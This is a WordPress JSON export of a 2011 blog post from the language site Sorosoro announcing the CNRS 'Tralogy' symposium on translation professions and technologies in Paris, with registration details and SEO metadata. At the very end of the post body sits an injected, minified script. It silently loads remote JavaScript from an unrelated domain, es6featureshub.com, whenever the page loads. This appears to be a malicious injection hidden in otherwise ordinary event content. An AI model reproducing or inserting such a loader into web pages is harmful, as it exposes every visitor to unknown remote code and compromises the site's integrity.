{"id":40587,"date":"2011-03-03T00:01:21","date_gmt":"2011-03-02T23:01:21","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=40587"},"modified":"2025-10-21T23:13:10","modified_gmt":"2025-10-21T21:13:10","slug":"march-3-4-2011-cnrs-tralogy-symposium-on-translation-careers-and-technologies-paris","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-3-4-2011-cnrs-tralogy-symposium-on-translation-careers-and-technologies-paris\/","title":{"rendered":"March 3-4, 2011: CNRS \u201cTralogy\u201d Symposium on Translation Careers and Technologies, Paris"},"content":{"rendered":"<p style=\"text-align: justify;\">What does the<strong> profession of translation look like today<\/strong>? How will one translate in ten, twenty, fifty years from now? What will be the tools available, and what will be the demand? E<strong>very two years, the CNRS (French National Center for Scientific Research)<\/strong> <strong>headquarters<\/strong> <strong>host a symposium entitled \u201cTralogy\u201d, entirely devoted to the professions and technologies of translation.<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>Translators<\/strong>, <strong>researchers<\/strong>, <strong>trainers <\/strong>and <strong>developers <\/strong>will come together for two whole days in order to <strong>take stock of this sector in constant evolution<\/strong>. The <strong>interdisciplinary <\/strong>nature of this event explains the success of Tralogy which continues unabated.<\/p>\n<p style=\"text-align: justify;\">The programme for this 2011 symposium will include<strong> a dozen meetings<\/strong> on available resources, new software, existing training programmes, automatic translation etc. This year special emphasis will be placed on <strong>Canada as a &#8220;guest&#8221; country<\/strong> with the characteristic of being bilingual.<\/p>\n<p style=\"text-align: justify;\">The objectives of this symposium are manifold : to enable developers and researchers to understand the needs of translators ; to help trainers better prepare tomorrow&#8217;s translators ; and to encourage translators to think about where they fit in this evolving profession.<\/p>\n<p style=\"text-align: justify;\"><strong>Registration is free<\/strong>, but because of<strong> limited seating<\/strong> you are strongly advised to <a href=\"http:\/\/www.tralogy.eu\/spip.php?article34&amp;lang=en\" target=\"_blank\">fill in the online form<\/a>.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><a href=\"http:\/\/www.tralogy.eu\" target=\"_blank\">Read the complete programme<\/a><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>Tralogy<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>March, Thursday 3 &amp; Friday 4<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>CNRS headquarters<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>3 rue Michel-Ange<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>75016 Paris<\/strong><\/p>\n<p style=\"text-align: justify;\">(Metro station : Michel-Ange Auteuil, line 10)<\/p>\n<p style=\"text-align: justify;\">\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>What does the profession of translation look like today? How will one translate in ten, twenty, fifty years from now? What will be the tools available, and what will be the demand? Every two years, the CNRS (French National Center for Scientific Research) headquarters host a symposium entitled \u201cTralogy\u201d, entirely devoted to the professions and [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-40587","post","type-post","status-publish","format-standard","hentry","category-calendar"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>March 3-4, 2011: CNRS \u201cTralogy\u201d Symposium on Translation Careers and Technologies, Paris - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-3-4-2011-cnrs-tralogy-symposium-on-translation-careers-and-technologies-paris\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"March 3-4, 2011: CNRS \u201cTralogy\u201d Symposium on Translation Careers and Technologies, Paris - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"What does the profession of translation look like today? How will one translate in ten, twenty, fifty years from now? What will be the tools available, and what will be the demand? Every two years, the CNRS (French National Center for Scientific Research) headquarters host a symposium entitled \u201cTralogy\u201d, entirely devoted to the professions and [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-3-4-2011-cnrs-tralogy-symposium-on-translation-careers-and-technologies-paris\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-03-02T23:01:21+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T21:13:10+00:00\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-3-4-2011-cnrs-tralogy-symposium-on-translation-careers-and-technologies-paris\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-3-4-2011-cnrs-tralogy-symposium-on-translation-careers-and-technologies-paris\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"March 3-4, 2011: CNRS \u201cTralogy\u201d Symposium on Translation Careers and Technologies, Paris\",\"datePublished\":\"2011-03-02T23:01:21+00:00\",\"dateModified\":\"2025-10-21T21:13:10+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-3-4-2011-cnrs-tralogy-symposium-on-translation-careers-and-technologies-paris\/\"},\"wordCount\":223,\"articleSection\":[\"Agenda\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-3-4-2011-cnrs-tralogy-symposium-on-translation-careers-and-technologies-paris\/\",\"url\":\"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-3-4-2011-cnrs-tralogy-symposium-on-translation-careers-and-technologies-paris\/\",\"name\":\"March 3-4, 2011: CNRS \u201cTralogy\u201d Symposium on Translation Careers and Technologies, Paris - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\"},\"datePublished\":\"2011-03-02T23:01:21+00:00\",\"dateModified\":\"2025-10-21T21:13:10+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-3-4-2011-cnrs-tralogy-symposium-on-translation-careers-and-technologies-paris\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-3-4-2011-cnrs-tralogy-symposium-on-translation-careers-and-technologies-paris\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-3-4-2011-cnrs-tralogy-symposium-on-translation-careers-and-technologies-paris\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/en\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"March 3-4, 2011: CNRS \u201cTralogy\u201d Symposium on Translation Careers and Technologies, Paris\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/en\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/en\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"March 3-4, 2011: CNRS \u201cTralogy\u201d Symposium on Translation Careers and Technologies, Paris - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-3-4-2011-cnrs-tralogy-symposium-on-translation-careers-and-technologies-paris\/","og_locale":"en_US","og_type":"article","og_title":"March 3-4, 2011: CNRS \u201cTralogy\u201d Symposium on Translation Careers and Technologies, Paris - Sorosoro","og_description":"What does the profession of translation look like today? How will one translate in ten, twenty, fifty years from now? What will be the tools available, and what will be the demand? Every two years, the CNRS (French National Center for Scientific Research) headquarters host a symposium entitled \u201cTralogy\u201d, entirely devoted to the professions and [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-3-4-2011-cnrs-tralogy-symposium-on-translation-careers-and-technologies-paris\/","og_site_name":"Sorosoro","article_published_time":"2011-03-02T23:01:21+00:00","article_modified_time":"2025-10-21T21:13:10+00:00","author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Michel.Lemee","Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-3-4-2011-cnrs-tralogy-symposium-on-translation-careers-and-technologies-paris\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-3-4-2011-cnrs-tralogy-symposium-on-translation-careers-and-technologies-paris\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"March 3-4, 2011: CNRS \u201cTralogy\u201d Symposium on Translation Careers and Technologies, Paris","datePublished":"2011-03-02T23:01:21+00:00","dateModified":"2025-10-21T21:13:10+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-3-4-2011-cnrs-tralogy-symposium-on-translation-careers-and-technologies-paris\/"},"wordCount":223,"articleSection":["Agenda"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-3-4-2011-cnrs-tralogy-symposium-on-translation-careers-and-technologies-paris\/","url":"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-3-4-2011-cnrs-tralogy-symposium-on-translation-careers-and-technologies-paris\/","name":"March 3-4, 2011: CNRS \u201cTralogy\u201d Symposium on Translation Careers and Technologies, Paris - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/#website"},"datePublished":"2011-03-02T23:01:21+00:00","dateModified":"2025-10-21T21:13:10+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-3-4-2011-cnrs-tralogy-symposium-on-translation-careers-and-technologies-paris\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/en\/2011\/03\/march-3-4-2011-cnrs-tralogy-symposium-on-translation-careers-and-technologies-paris\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/en\/2011\/03\/march-3-4-2011-cnrs-tralogy-symposium-on-translation-careers-and-technologies-paris\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/en\/"},{"@type":"ListItem","position":2,"name":"March 3-4, 2011: CNRS \u201cTralogy\u201d Symposium on Translation Careers and Technologies, Paris"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/en\/#website","url":"https:\/\/www.sorosoro.org\/en\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/en\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/40587","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/comments?post=40587"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/40587\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/media?parent=40587"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/categories?post=40587"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/tags?post=40587"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}